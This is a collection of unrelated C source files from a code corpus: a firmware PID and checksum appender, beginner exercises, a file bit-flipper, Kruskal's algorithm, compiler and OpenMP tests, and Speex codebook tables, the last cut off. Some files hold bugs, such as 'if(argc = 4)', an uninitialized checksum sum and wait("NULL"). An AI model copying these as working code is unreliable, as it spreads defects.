but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
************************************************************************* */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
unsigned char PidDataWW[70] =
{
0x73, 0x45, 0x72, 0x43, 0x6F, 0x4D, 0x6D, 0x00, 0x00, 0x00, 0x00, 0x59, 0x50, 0x35, 0x37, 0x32,
0x33, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0x00, 0x37,
0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x73,
0x45, 0x72, 0x43, 0x6F, 0x4D, 0x6D,
} ;
unsigned char PidDataDE[70] =
{
0x73, 0x45, 0x72, 0x43, 0x6F, 0x4D, 0x6D, 0x00, 0x00, 0x00, 0x00, 0x59, 0x50, 0x35, 0x37, 0x32,
0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0x00, 0x37,
0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x73,
0x45, 0x72, 0x43, 0x6F, 0x4D, 0x6D,
} ;
unsigned char PidDataNA[70] =
{
0x73, 0x45, 0x72, 0x43, 0x6F, 0x4D, 0x6D, 0x00, 0x00, 0x00, 0x00, 0x59, 0x50, 0x35, 0x37, 0x32,
0x36, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0x00, 0x37,
0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x73,
0x45, 0x72, 0x43, 0x6F, 0x4D, 0x6D,
} ;
/* *******************************************************************
Reads the file into memory and returns pointer to the buffer. */
static char *readfile(char *filename, int *size)
{
FILE *fp;
char *buffer;
struct stat info;
if (stat(filename,&info)!=0)
return NULL;
if ((fp=fopen(filename,"r"))==NULL)
return NULL;
buffer=NULL;
for (;;)
{
if ((buffer=(char *)malloc(info.st_size+1))==NULL)
break;
if (fread(buffer,1,info.st_size,fp)!=info.st_size)
{
free(buffer);
buffer=NULL;
break;
}
buffer[info.st_size]='\0';
if(size) *size = info.st_size;
break;
}
(void)fclose(fp);
return buffer;
}
/* ******************************************************************* */
int main(int argc, char** argv)
{
unsigned long start, i;
char *endptr, *buffer, *p;
int count; // size of file in bytes
unsigned short sum, sum1;
char sumbuf[9];
if(argc < 3) {
printf("ERROR: Argument missing!\n\nUsage %s filename starting offset in hex [PID code]\n\n", argv[0]);
return 1;
}
FILE *fp = fopen(argv[1], "a");
if(!fp) {
printf("ERROR: File not writeable!\n");
return 1;
}
if(argc = 4)
{
printf("%s: PID type: %s\n", argv[0], argv[3]);
if(strcmp(argv[3], "DE")==0)
fwrite(PidDataDE, sizeof(PidDataDE), sizeof(char), fp); /* write DE pid */
else if(strcmp(argv[3], "NA")==0)
fwrite(PidDataNA, sizeof(PidDataNA), sizeof(char), fp); /* write NA pid */
else /* if(strcmp(argv[3], "WW")) */
fwrite(PidDataWW, sizeof(PidDataWW), sizeof(char), fp); /* write WW pid */
}
else
fwrite(PidDataWW, sizeof(PidDataWW), sizeof(char), fp); /* write WW pid if unspecified */
fclose(fp);
/* Read the file to calculate the checksums */
buffer = readfile(argv[1], &count);
if(!buffer) {
printf("ERROR: File %s not found!\n", argv[1]);
return 1;
}
p = buffer;
for(i = 0; i < count; i++)
{
sum += p[i];
}
start = strtol(argv[2], &endptr, 16);
p = buffer+start;
sum1 = 0;
for(i = 0; i < count - start; i++)
{
sum1 += p[i];
}
sprintf(sumbuf,"%04X%04X",sum1,sum);
/* Append the 2 checksums to end of file */
fp = fopen(argv[1], "a");
if(!fp) {
printf("ERROR: File not writeable!\n");
return 1;
}
fwrite(sumbuf, 8, sizeof(char), fp);
fclose(fp);
free(buffer);
return 0;
}
|
the_stack_data/41402.c | #include <stdio.h>
int main()
{
int n;
scanf("%d", &n);
printf("%d\n", n);
printf("%d nota(s) de R$ 100,00\n", n/100);
n %= 100;
printf("%d nota(s) de R$ 50,00\n", n/50);
n %= 50;
printf("%d nota(s) de R$ 20,00\n", n/20);
n %= 20;
printf("%d nota(s) de R$ 10,00\n", n/10);
n %= 10;
printf("%d nota(s) de R$ 5,00\n", n/5);
n %= 5;
printf("%d nota(s) de R$ 2,00\n", n/2,00);
n %= 2;
printf("%d nota(s) de R$ 1,00\n", n/1,00);
n %= 1;
return 0;
}
|
the_stack_data/187644125.c | /* { dg-do compile } */
/* { dg-options "-fsanitize=undefined" } */
struct s
{
int n;
int arr[][6];
};
void bar (int);
void foo (struct s *ptr)
{
int i;
for (; i < 2; i++)
for (; ptr->n;)
{
int *a = ptr->arr[i];
int b[66];
int j = 0;
for (; j < 56; j++)
bar (a[j] - b[j]);
}
}
|
the_stack_data/67326641.c | // Test code to flip every bit in a file. I wonder what it's for?
// This code was designed to be written fast, not run fast.
#include <stdio.h>
#include <stdlib.h>
char* readStringFile(char* _filename, int* _resultLength){
char* _loadedStringBuffer;
FILE* fp = fopen(_filename, "rb");
// Get file size
fseek(fp, 0, SEEK_END);
long _foundFilesize = ftell(fp);
fseek(fp, 0, SEEK_SET);
// Read file into memory
_loadedStringBuffer = malloc(_foundFilesize);
fread(_loadedStringBuffer, _foundFilesize, 1, fp);
fclose(fp);
*_resultLength = _foundFilesize;
return _loadedStringBuffer;
}
int main(){
int _totalFileLength;
char* _readFile = readStringFile("a.txt",&_totalFileLength);
FILE* fp = fopen("a.txt","wb");
int i;
for (i=0;i<_totalFileLength;++i){
char _lastFlippedByte = _readFile[i];
_lastFlippedByte = _lastFlippedByte^0x11111111;
fwrite(&_lastFlippedByte,1,1,fp);
}
fclose(fp);
} |
the_stack_data/853179.c | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct Edge {
int src, dest, weight;
};
struct Graph {
int V, E;
struct Edge* edge;
};
struct Graph* createGraph(int V, int E)
{
struct Graph* graph = (struct Graph*)(malloc(sizeof(struct Graph)));
graph->V = V;
graph->E = E;
graph->edge = (struct Edge*)malloc(sizeof( struct Edge)*E);
return graph;
}
struct subset {
int parent;
int rank;
};
int find(struct subset subsets[], int i)
{
if (subsets[i].parent != i)
subsets[i].parent
= find(subsets, subsets[i].parent);
return subsets[i].parent;
}
void Union(struct subset subsets[], int x, int y)
{
int xroot = find(subsets, x);
int yroot = find(subsets, y);
if (subsets[xroot].rank < subsets[yroot].rank)
subsets[xroot].parent = yroot;
else if (subsets[xroot].rank > subsets[yroot].rank)
subsets[yroot].parent = xroot;
else
{
subsets[yroot].parent = xroot;
subsets[xroot].rank++;
}
}
int myComp(const void* a, const void* b)
{
struct Edge* a1 = (struct Edge*)a;
struct Edge* b1 = (struct Edge*)b;
return a1->weight > b1->weight;
}
void KruskalMST(struct Graph* graph)
{
int V = graph->V;
struct Edge
result[V]; // Tnis will store the resultant MST
int e = 0; // An index variable, used for result[]
int i = 0; // An index variable, used for sorted edges
qsort(graph->edge, graph->E, sizeof(graph->edge[0]),
myComp);
struct subset* subsets
= (struct subset*)malloc(V * sizeof(struct subset));
for (int v = 0; v < V; ++v) {
subsets[v].parent = v;
subsets[v].rank = 0;
}
while (e < V - 1 && i < graph->E) {
struct Edge next_edge = graph->edge[i++];
int x = find(subsets, next_edge.src);
int y = find(subsets, next_edge.dest);
if (x != y) {
result[e++] = next_edge;
Union(subsets, x, y);
}
}
printf(
"Following are the edges in the constructed MST\n");
int minimumCost = 0;
for (i = 0; i < e; ++i)
{
printf("%d -- %d == %d\n", result[i].src,
result[i].dest, result[i].weight);
minimumCost += result[i].weight;
}
printf("Minimum Cost Spanning tree : %d",minimumCost);
return;
}
int main()
{
int V = 4; // Number of vertices in graph
int E = 5; // Number of edges in graph
struct Graph* graph = createGraph(V, E);
graph->edge[0].src = 0;
graph->edge[0].dest = 1;
graph->edge[0].weight = 10;
graph->edge[1].src = 0;
graph->edge[1].dest = 2;
graph->edge[1].weight = 6;
graph->edge[2].src = 0;
graph->edge[2].dest = 3;
graph->edge[2].weight = 5;
graph->edge[3].src = 1;
graph->edge[3].dest = 3;
graph->edge[3].weight = 15;
graph->edge[4].src = 2;
graph->edge[4].dest = 3;
graph->edge[4].weight = 4;
KruskalMST(graph);
return 0;
}
|
the_stack_data/69352.c | //*****************************************************************************
// strrchr.c : string function
// 2002/02/04 by Gaku : this is rough sketch
//*****************************************************************************
#include <stdio.h>
#include <stddef.h>
//=============================================================================
// search the last occur of C in D
//=============================================================================
char* strrchr (char *d, int c)
{
char *tmp = d;
while ('\0' != *d)
d++;
while (tmp <= d) {
if (c == *d)
return d;
d--;
}
return NULL;
}
|
the_stack_data/607822.c | #include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<sys/types.h>
main() {
pid_t pid;
switch(pid = fork()) {
case -1:
perror("\nERR");
exit(-1);
case 0:
printf("\nChild Process\n");
execl("/bin/date", "date", 0);
exit(0);
case 1:
wait("NULL");
printf("\nChild terminated\n");
exit(0);
}
}
|
the_stack_data/175143557.c | //Variable examples of using simd directives
void foo (int n, double *a, double* b)
{
for (int i=0; i<n; i++)
a[i]=b[i];
}
void foo2 (int n, double *a, double* b)
{
for (int i=0; i<n; i++)
a[i]=b[i];
}
void foo3 (int n, double *a, double* b)
{
int j=0;
for (int i=0; i<n; i++,j++)
{
a[i]=b[i]+j;
}
}
void foo32 (int n, double *a, double* b)
{
int j=0, k=0;
#pragma omp simd linear(j,k)
for (int i=0; i<n; i++,j++,k++)
{
a[i]=b[i]+j+k;
}
}
void foo33 (int n, double *a, double* b)
{
int j=0, k=0;
for (int i=0; i<n; i++,j++,k++)
{
a[i]=b[i]+j+k;
}
}
void fooAligned (int n, double *a, double* b)
{
int j=0, k=0;
for (int i=0; i<n; i++,j++,k++)
{
a[i]=b[i]+j+k;
}
}
void fooAligned2 (int n, double *a, double* b)
{
int j=0, k=0;
for (int i=0; i<n; i++,j++,k++)
{
a[i]=b[i]+j+k;
}
}
double work( double *a, double *b, int n )
{
int i;
double tmp, sum;
sum = 0.0;
for (i = 0; i < n; i++) {
tmp = a[i] + b[i];
sum += tmp;
}
return sum;
}
#define N 45
int a[N], b[N], c[N];
void foo4(int i, double* P)
{
int j;
for (i = 0; i < 999; ++i) {
j = P[i];
}
}
void work2( double **a, double **b, double **c, int n )
{
int i, j;
double tmp;
for (i = 0; i < n; i++) {
for (j = 0; j < n; j++) {
tmp = a[i][j] + b[i][j];
c[i][j] = tmp;
}
}
}
void work3( double **a, double **b, double **c, int n )
{
int i, j;
double tmp;
for (i = 0; i < n; i++) {
for (j = 0; j < n; j++) {
tmp = a[i][j] + b[i][j];
c[i][j] = tmp;
}
}
}
// declare simd can show up several times!
float bar(int * p) {
*p = *p +10;
return *p;
}
// declare simd can show up several times!
float bar2(int * p) {
*p = *p +10;
return *p;
}
|
the_stack_data/20450228.c | free(var);
|
the_stack_data/248581929.c | #include <stdio.h>
int main(void) {
int i, j, n;
n=3;
j=1;
for (i=n; i<=(n*10); i+=n) {
printf("%3d x %3d = %3d \n", n, j, i);
j++;
}
return 0;
} |
the_stack_data/237643550.c | #include <stdio.h>
int main()
{
puts("Hello, world!");
puts("\nPress enter to exit...");
(void)getchar();
}
|
the_stack_data/89614.c | // RUN: %libomp-compile && env OMP_DISPLAY_AFFINITY=true OMP_PLACES='{0},{0,1},{0},{0,1},{0},{0,1},{0},{0,1},{0},{0,1},{0}' %libomp-run | %python %S/check.py -c 'CHECK' %s
// REQUIRES: affinity && !abt
#include <stdio.h>
#include <stdlib.h>
#include <omp.h>
int main(int argc, char** argv) {
omp_set_affinity_format("TESTER: tl:%L tn:%n nt:%N aff:{%A}");
omp_set_num_threads(8);
// Initial parallel
#pragma omp parallel proc_bind(spread)
{ }
#pragma omp parallel proc_bind(spread)
{ }
// Affinity changes here
#pragma omp parallel proc_bind(close)
{ }
#pragma omp parallel proc_bind(close)
{ }
// Affinity changes here
#pragma omp parallel proc_bind(master)
{ }
#pragma omp parallel proc_bind(master)
{ }
return 0;
}
// CHECK: num_threads=8 TESTER: tl:1 tn:[0-7] nt:8 aff:
// CHECK: num_threads=8 TESTER: tl:1 tn:[0-7] nt:8 aff:
// CHECK: num_threads=8 TESTER: tl:1 tn:[0-7] nt:8 aff:
|
the_stack_data/61074652.c | /* Copyright (C) 2002 Jean-Marc Valin
File: lbr_48k_tables.c
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
- Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
- Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
- Neither the name of the Xiph.org Foundation nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR
CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
const int dummy_epic_48k_variable=0;
#ifdef EPIC_48K
const signed char gain_cdbk_ulbr[256] = {
-31, -48, -30, 10,
-19, -10, -18, 25,
-33, -22, -45, 12,
-5, -56, -43, 31,
-30, -56, -3, 28,
-59, -17, -52, 31,
-41, -60, -58, 32,
-64, -47, -22, 29,
-30, -31, -31, 2,
-29, -14, -31, 11,
-22, -37, -58, 21,
-31, -44, 13, 29,
-37, 0, 1, 35,
-46, -55, -35, 20,
-56, -14, -53, 32,
-8, 1, -36, 31,
-29, -15, -27, 13,
-29, -39, -28, 7,
-43, -5, 3, 37,
-51, -27, -54, 23,
10, -46, -36, 30,
3, -3, -42, 37,
-27, 16, -22, 32,
-34, -52, 13, 34,
-31, -21, -28, 8,
-34, -45, -40, 12,
-20, -48, 4, 32,
-40, -27, 16, 31,
-6, 11, -44, 41,
-35, 12, -5, 37,
19, -33, -37, 29,
-29, 18, -32, 27,
-29, -23, -19, 13,
16, -47, -28, 34,
-34, -30, 17, 27,
-20, 2, -26, 26,
-38, -40, -36, 9,
15, -14, -40, 37,
-39, 14, -9, 38,
-15, 25, -39, 41,
-26, 19, -32, 29,
-39, 17, -14, 37,
10, -36, -26, 26,
14, -13, -40, 37,
-29, -21, -12, 17,
-8, 19, -39, 41,
-36, -18, 15, 33,
-32, -38, -38, 6,
-19, 4, -23, 29,
-38, -7, 11, 37,
9, -10, -39, 35,
-37, 24, -19, 37,
-34, -5, -8, 27,
-20, 23, -41, 38,
-4, 17, -31, 39,
-17, -26, -26, 14,
-24, 28, -36, 36,
-7, 15, -39, 40,
-42, 16, -11, 40,
-29, 14, -6, 38,
-36, 28, -27, 35,
-21, 5, -26, 27,
11, -9, -39, 37,
-38, -7, 13, 38
};
const signed char exc_12_32_table[384] = {
34, 55, 9, 55, 4, 44, -2, 25, 4, -6, 13, -22,
20, 26, -13, -56, -37, 18, 5, 28, 4, 10, 6, -7,
37, -24, -31, 22, 12, -6, -4, -7, 2, 0, -3, -2,
-16, -13, -1, 9, -2, 4, 6, 5, -3, 3, 8, -1,
-1, -6, -2, -1, 8, 24, 19, 33, -73, -53, 6, -18,
14, 7, 11, 8, -33, -94, -5, 7, 0, 44, 1, 19,
-9, -7, -34, -16, 8, 2, 5, 0, 3, 1, -2, 3,
-22, 6, -2, 12, 16, 30, 39, 25, 25, 2, 10, -2,
-1, -40, -6, -51, -5, -48, -9, -33, -14, -1, -24, 15,
104, 39, 12, -9, -20, -12, -30, -10, -31, -7, -30, -8,
-71, -53, -4, -11, 9, -10, 7, -10, 10, -1, 11, 8,
24, 14, 6, -3, 10, 8, 8, 11, -6, 11, 0, -2,
-6, -2, 1, -1, -3, 8, -41, 27, 57, -7, 11, -16,
-61, 50, 10, -10, 4, -13, 14, -7, 1, 5, -4, 4,
0, 2, -1, -2, -1, 1, 1, 0, -1, -1, -2, -3,
-3, -15, 69, 60, 10, -10, -10, -29, -21, -7, -16, 2,
24, -32, 24, -18, -14, -2, -11, 11, -6, 10, 1, 3,
24, -10, 14, 18, -13, 17, -16, 4, -3, -21, -3, -11,
-19, 12, -14, 26, 20, -9, 24, -15, 18, 1, -32, -2,
-1, 8, -3, 4, 11, -47, 7, 46, -4, -10, -10, -2,
-24, 29, -33, 6, -20, -3, 0, -12, 5, -30, 8, -13,
28, 9, 5, -11, 0, -14, -13, -22, -12, -8, -4, 1,
-6, 28, 45, -18, -31, -5, 1, 2, 1, 5, 0, -3,
-19, -10, 10, 27, 8, -16, -28, -9, 2, -5, 8, -1,
100, -49, 4, -43, 25, -7, 1, 9, -13, 13, -18, 13,
-1, -1, 0, 2, -2, -8, 9, -46, -7, 70, 23, 7,
-103, 20, 8, 42, -5, 21, -4, 4, 1, -8, 16, -8,
3, 3, 8, 4, 7, -3, -3, -4, 9, 6, 2, 13,
6, 3, -15, 11, -43, 31, 40, -13, 12, -21, -2, -3,
-10, -9, 16, -35, 31, -3, -12, 8, -34, 7, 12, 22,
-3, -4, -7, -12, 24, 53, -19, -43, 4, -3, -4, 6,
-18, -30, -58, -17, -11, 17, 23, 34, 30, 28, 28, 15,
};
const signed char cdbk_lsp_vlbr[5120]={
23, 34, 108, 100, 102, 82, 69, 48, 52, 25,
0, -37, -55, -78, -111, -79, 58, 57, 45, 32,
27, -9, -12, -14, -41, -29, -17, -41, 44, 35,
-24, -68, -72, 61, 100, 73, 100, 80, 70, 37,
12, -5, 22, 11, -10, -40, -33, -17, 19, 12,
-20, -57, -94, -92, 56, 71, 48, 31, 22, -5,
41, 28, 6, -6, -12, -39, -18, -16, -30, -23,
65, 54, 41, 28, 23, 9, 26, 18, 22, 6,
17, -16, -33, -54, -87, -79, 8, -8, 44, 35,
-20, -62, -78, 22, 78, 47, 44, 33, 26, 14,
8, 1, 45, 47, 72, 68, 55, 31, 36, 17,
-27, -68, -86, -65, -10, 23, 8, -22, -31, 25,
-4, -38, -55, -68, -96, -118, -39, 30, 28, 31,
-21, -66, -47, 99, 91, 68, 78, 56, 64, 36,
33, 22, 13, -13, -36, -22, 44, 37, 54, 33,
-31, -76, -106, -100, -5, 21, 7, -17, 13, 48,
-26, -65, -84, -84, -46, 67, 97, 66, 58, 31,
-20, -52, -32, -20, 3, 16, 27, 40, 54, 29,
-6, -35, -56, -64, -8, -31, -36, 21, 26, -3,
32, 23, 1, -23, -19, -44, -45, -7, 10, -10,
-24, -55, 2, 67, 72, 85, 90, 74, 77, 45,
-21, -58, -45, -49, 16, 34, 13, -15, -16, 16,
8, -31, -34, -61, -83, 10, 24, 8, 56, 25,
-8, -49, -74, -95, -123, -77, 6, 40, 46, 42,
-21, -60, -59, -34, -12, 27, 8, -19, -48, -17,
-25, -66, -78, -73, -81, -16, 14, 0, -2, 33,
78, 79, 69, 49, 44, 32, 50, 44, 46, 22,
24, 9, -4, -18, -37, -56, 22, 34, 22, 11,
-19, -59, -85, -41, 46, 72, 60, 33, 29, -3,
-21, -66, -70, 65, 92, 57, 61, 41, 40, 23,
-4, -41, -60, -72, -102, -106, 4, 56, 57, 31,
-5, -48, -62, -91, -109, 1, 76, 54, 72, 39,
-21, -61, -86, -46, -34, -39, 42, 25, 15, 12,
5, -16, -36, -56, 5, 18, 11, 13, 52, 23,
12, -6, 30, 40, 59, 40, 27, 8, 19, 6,
25, 8, -9, -19, -25, -53, -40, -38, -46, -4,
-17, -59, -83, 2, 58, 29, 18, -2, -17, -5,
-35, -80, -111, -117, -41, -9, 14, 23, 36, 56,
48, 67, 93, 71, 77, 91, 110, 95, 83, 47,
-25, -62, -97, -93, 76, 96, 73, 52, 61, 28,
-9, -55, -46, 49, 33, 8, 1, -25, 28, 23,
-10, -47, -60, -45, -62, -58, 56, 57, 48, 28,
34, 12, -9, 0, 34, 4, 6, 11, 3, -18,
21, -9, -16, -13, -39, -41, 14, -8, 33, 28,
-7, -49, -61, 15, 34, 3, 2, -13, -28, -17,
-14, -50, -46, -65, -76, -13, -10, -29, -30, 22,
-28, -68, -97, -98, -8, 38, 36, 26, 25, 15,
6, -33, -9, 1, -28, -11, -19, -24, 61, 36,
-15, -60, -19, 81, 58, 52, 42, 28, 66, 36,
-15, -52, -71, -15, 11, -13, 38, 28, 11, -4,
34, 1, -9, -27, -57, -19, 36, 6, 14, 0,
-1, -43, -14, 16, -12, -5, -14, -29, -33, -32,
-13, -57, -75, -100, -111, 1, 2, 13, 48, 33,
12, 16, 100, 85, 69, 49, 40, 29, 46, 23,
-4, -26, -41, -44, -7, -26, -39, -27, 18, 0,
-4, -47, -51, 17, 7, -19, 13, -10, -16, 9,
-24, -63, -93, -53, 25, 14, 73, 51, 35, 8,
-34, -77, -106, -83, -51, -47, 2, 12, 41, 53,
-13, -47, -67, -44, 42, 20, 24, 33, 21, -3,
11, -15, -29, -51, -79, -88, 22, 56, 43, 20,
11, -22, -37, -1, 61, 40, 28, 24, 22, -6,
-3, -33, -50, -66, -93, -100, -16, -16, 3, 41,
-18, -58, -82, -5, 95, 78, 56, 39, 30, 1,
-6, -47, -28, -26, -36, 49, 55, 51, 71, 35,
-6, -50, -42, -4, -32, -1, -1, -18, 67, 40,
-23, -63, -56, -48, -32, 0, -14, -43, -46, 25,
-17, -61, -63, 13, -1, 28, 23, 10, 67, 36,
45, 92, 124, 111, 108, 86, 77, 56, 57, 28,
50, 35, 13, 3, -2, -32, 3, 14, 6, -8,
12, -17, -24, -42, -67, -23, 67, 49, 64, 38,
-21, -60, -90, -45, 32, 6, 7, -3, -15, 9,
-16, -62, -73, 50, 46, 18, 7, -13, 63, 39,
19, -16, -19, 20, 5, -15, 16, -9, 5, 8,
-11, -46, -42, -39, -55, -68, -62, -27, -18, 23,
-23, -61, -67, -71, -29, 44, 32, 10, -15, -12,
-6, -45, -43, -40, -67, -22, 42, 19, 61, 38,
9, -13, -38, -37, 40, 30, 15, 9, 11, -16,
0, -18, -29, -34, -17, -44, -50, -3, 47, 15,
-3, -46, -26, 20, -10, 16, 20, -2, 43, 18,
-23, -46, 46, 91, 99, 100, 99, 79, 72, 42,
-1, -44, -33, -36, -56, 22, 17, 4, 71, 37,
0, -38, -49, 0, -1, -30, -21, -35, -44, -6,
-32, -74, -101, -98, -14, -21, -23, 7, 26, 45,
8, -28, -44, -63, -96, -84, 34, 21, 13, 23,
10, -24, -38, -17, -29, -53, -16, -41, -14, 23,
-19, -61, -76, -12, 97, 99, 79, 60, 59, 25,
5, -11, -26, -54, -26, -8, -13, 3, 25, 4,
17, 16, 4, -24, -1, 42, 60, 63, 70, 37,
10, -27, -22, -43, -62, -7, -16, 10, 75, 40,
-26, -64, -96, -106, -3, 73, 73, 46, 55, 29,
-2, -45, -43, 45, 46, 17, 37, 10, 30, 32,
21, -2, -18, -28, -47, -63, -38, -56, -3, 27,
-17, -48, -9, 9, 3, 28, 50, 58, 73, 44,
8, -14, -32, -56, -81, -106, -35, 41, 53, 26,
1, -38, -51, -66, -100, -61, 32, 17, 66, 42,
17, 5, -6, -21, -26, -52, -36, 23, 56, 22,
6, -20, -31, -22, -19, -48, 16, 38, 22, -2,
-25, -67, -93, -51, 82, 62, 71, 69, 63, 35,
-12, -51, -71, -60, -76, -91, -14, 41, 35, 20,
-16, -31, 22, 32, 55, 80, 98, 91, 85, 49,
-21, -63, -92, -6, 57, 27, 36, 11, 60, 39,
-7, -45, -67, -81, -114, -110, 0, 24, 23, 45,
-18, -55, -61, -56, -60, -64, -32, -2, 58, 36,
-3, -33, -51, -24, 19, -10, -19, 4, 14, -15,
-19, -59, -81, -12, 7, -12, 36, 16, 48, 36,
17, -13, -32, -49, -78, -95, -1, -3, -10, 25,
15, 5, 41, 59, 108, 101, 103, 81, 70, 35,
-14, -52, -37, 15, 93, 83, 66, 50, 47, 15,
-3, -31, -49, -52, -9, -31, -10, 37, 62, 27,
-15, -56, -82, -17, 75, 56, 36, 22, 7, -16,
-24, -63, -93, -84, 25, 94, 98, 65, 60, 31,
-2, -45, -39, -61, -61, 48, 35, 32, 54, 18,
-19, -51, -45, -57, -28, -8, 10, 14, 38, 26,
-2, -46, -38, 45, 26, 22, 48, 21, 63, 40,
-22, -61, -73, -75, -67, -31, 13, 18, 51, 34,
-12, -2, -1, -17, -3, -27, -3, 6, -1, -15,
-16, -59, -78, 10, 36, 9, 4, -18, 33, 22,
-25, -62, -97, -107, 39, 87, 69, 46, 42, 12,
11, -7, -30, -36, 19, 2, -10, -7, -4, -24,
11, -8, 25, 28, 28, 5, -4, -10, 5, -2,
-10, -48, -37, -17, -38, -9, -2, -19, -30, -22,
-23, -61, -79, -81, -2, 15, -4, 17, 20, 2,
25, -14, -3, -10, -38, 1, 14, -14, -9, -27,
2, -18, -38, -36, -11, -39, -36, -28, -36, -11,
32, 59, 127, 124, 127, 108, 91, 68, 64, 34,
3, -32, -37, -10, -25, -46, 12, 1, -17, -24,
-29, -69, -102, -100, 2, -7, 11, 14, 1, 31,
30, -6, -4, -16, -44, -5, 3, -9, 66, 40,
-9, -45, -52, -5, 37, 19, 26, 6, 51, 32,
-31, -73, -96, -45, -25, -37, -15, -16, 32, 39,
3, -15, 18, 21, 28, 33, 58, 58, 69, 42,
-31, -73, -99, -99, -48, 14, 21, 5, 2, 39,
7, -35, -20, 29, 2, -8, -8, -28, 38, 26,
-5, -39, -64, -36, 15, -15, -11, -21, -23, 5,
-8, -51, -56, 15, -1, -14, -8, -31, 36, 22,
-8, -53, -68, -98, -101, 42, 49, 38, 41, 12,
10, -27, -22, 4, -23, -21, 30, -1, 22, 26,
-13, -56, -42, 31, 9, -1, -10, -2, 22, -4,
15, 8, 56, 57, 45, 55, 57, 46, 72, 44,
-7, -53, -26, 53, 21, 17, 0, 0, 74, 41,
3, -18, -2, 0, 19, 17, 42, 36, 47, 26,
24, -7, -23, -34, -62, -60, 6, -22, 18, 25,
-11, -42, -46, -61, -83, -99, -67, -11, 28, 39,
30, -3, -10, -1, -24, -30, -1, -28, 15, 18,
19, -15, -10, -6, -35, -26, 33, 10, 56, 39,
-13, -53, -82, -42, 53, 37, 18, 10, -3, -21,
-21, -60, -89, -46, 89, 94, 71, 46, 42, 9,
-2, -34, -44, -46, -64, -84, -1, 37, 16, 0,
-17, -51, -65, -64, -7, -17, -29, -11, 52, 27,
22, -15, -16, -39, -55, 26, 36, 21, 62, 28,
-2, -26, -38, -49, -55, -80, -75, 8, 20, 9,
-6, -47, -61, -82, -103, -17, -15, -25, 53, 40,
-8, -47, -66, -18, 56, 43, 25, 29, 39, 3,
-27, -66, -86, -69, -50, -59, -34, -1, 19, 42,
3, -20, 2, 21, 72, 57, 52, 36, 31, 7,
-12, -49, -61, -13, -1, -33, 5, 37, 26, 2,
-27, -69, -92, -62, 2, 43, 88, 67, 64, 36,
0, -40, -4, -6, -20, 43, 33, 25, 50, 20,
14, -20, -30, -44, -73, -37, -24, -47, 26, 20,
31, 53, 111, 118, 127, 126, 121, 99, 85, 46,
-14, -45, -51, -39, 24, 5, -6, 17, 46, 14,
-4, -43, -45, -70, -63, 8, 14, 58, 78, 39,
-8, -47, -66, -84, -114, -55, 10, -8, 32, 40,
28, 22, 42, 26, 8, -21, -16, -6, 22, 10,
24, 10, 34, 31, 35, 31, 46, 39, 59, 36,
-4, -43, -62, -10, 20, -14, 2, 14, -6, -19,
-21, -62, -89, -22, 62, 33, 30, 16, 15, 15,
0, -22, -31, -45, -58, -80, -66, 13, 68, 34,
-16, -45, -6, 7, -6, -17, -14, -15, 2, 2,
10, -5, -22, -38, -40, -70, -60, -15, -23, 0,
22, -11, -22, -39, -67, -25, 30, 5, 58, 37,
-21, -47, 6, 43, 37, 45, 65, 66, 73, 43,
2, -25, -40, -53, -72, -94, -35, 24, 9, 8,
-3, 0, -3, -9, 4, -23, -10, 20, 43, 14,
-2, -41, -60, -9, 57, 32, 17, 16, 6, -19,
1, -31, -36, -36, -54, -68, -77, -75, 21, 37,
-19, -32, 79, 90, 92, 81, 67, 47, 52, 28,
